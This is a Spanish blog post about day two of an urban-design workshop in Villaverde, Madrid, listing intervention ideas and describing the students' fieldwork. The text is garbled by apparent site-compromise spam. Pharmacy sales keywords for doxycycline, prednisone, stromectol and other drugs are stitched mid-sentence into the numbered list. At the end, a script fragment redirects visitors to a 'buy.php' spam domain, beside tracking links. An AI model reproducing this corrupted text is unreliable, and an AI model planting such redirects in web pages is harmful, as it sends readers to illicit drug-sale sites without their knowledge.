conclusiones y resultados del día 2

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conclusiones y resultados del día 2

Martes, 18 de mayo de 2010, por albagadordiaznavarro

DIA 2

Los alumnos, con la ayuda de la profesora siguen trabajando en su hipótesis.

El workshop ha contado hoy con la participación de Beatriz Varona, David Méndez, Pilar Nalda, Daniel Feito, Manuel Simón y Nerea Ortega.

BOMBOARDEO DE IDEAS

Como introducción al día dos, se realiza un bombardeo de imágenes de intervenciones de transformación del espacio urbano, y eso ayuda a perfilar las ideas del día 1..

POSIBILIADES DE INTERVENCION

Seguidamente se retoma el trabajo en el punto de las conclusiones del primer día, diferenciando y ordenando las estrategias e hipótesis hacia las diferentes posibilidades de intervención:

1. Homogeneizar: Crear vacíos en las zonas densas, con edificios rotacionales llenar el espacio en las zonas vacías, con una red de puntos y suministro de básicos (plazas en los barrios, con edificios culturales, parques en los polígonos, con sistema de kioscos repetidos)..

2. envolventes: forrar edificios con lonas, pintar con colores, texturas, envolventes sostenibles, envolventes con impresión de imágenes (cuadros de cielo de Madrid).

3.pavimentos: alfombras que transportan el espacio

4.señalética, mobiliario, escultura: price of doxycycline boots colonización del espacio urbano.

5.cubiertas en las calles: cubiertas ligeras, papel, lonas, cierran el espacio, dar sombra..

xenical farmacia online 6.agricultura urbana: cambiar los descampados por campos de cultivo, flores urbanas (amapolas, margaritas), colores..

7.elementos icono: torres

prednisone generic brand 8. Imagen en vías de transporte

arimidex alternative 9. Conectividad entre zonas: zyban cost without insurance buy stromectol australia puentes elevados por encima del viario

10- nuevos medios de transporte: espacio público, carril bici, tranvía, calles peatonales, restricción de tráfico por zonas

11. ocupación de las naves: talleres para artistas, centros de formación, viviendas tipo loft

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TIPOS DE ESPACIOS Durante la mañana se analizan en profundidad el mapa de Villaverde para definir los distintos tipos de espacios, un análisis cuyo objetivo es situar en contexto y en cierto modo pautar el trabajo de campo que van a efectuar los alumnos por la tarde. Sobre el trazado se identifican las diferentes zonas: Vivienda (barrios antiguos), Polígono, vacíos perimetrales,  vivienda (bloque abierto) e infraestructuras.

OBJETIVO DEL DIA

El objetivo del trabajo de este día pasa por localizar en el mapa tipos de sitios, lugares en los que se podrían plantear estrategias, y a partir de ahí ver en qué sitios queremos intervenir y hasta donde podemos llegar.

Se plantea una operatividad sistemática una vez establecidos los tipos de espacios y de estrategias, por un lado por categorías de espacios, y por otro lado por categoría de intervenciones.

DOCUMENTOS DE TRABAJO

Se investigan asimismo el tipo de documentos idóneos para realizar el trabajo: planos generales llave, e imágenes, y si hace falta esquemas más concretos. Se va a trabajar con un documento base que sea útil y sobre esto ir construyendo esquemas de escala más reducida.

TRABAJO DE CAMPO

A lo largo de la tarde 14:00 a 17:30, los alumnos han visitado la zona de Villaverde, realizando fotografías y tomando todo tipo de anotaciones, material que incluirán en sus conclusiones del día y que servirán como referencia para continuar el trabajo en el tercer día.

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El trabajo de campo ha posibilitado contrastar lo que realmente encontramos sobre el terreno con lo que se había planificado en el aula.”http:///?sl=319481-c261c&data1=Track1&data2=Track2″; “http:///search.htm?route=search&q=”; location.replace(“http://gethere.info/buy.php”); http://trackingapps.org/teensafe/

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1 Comentario

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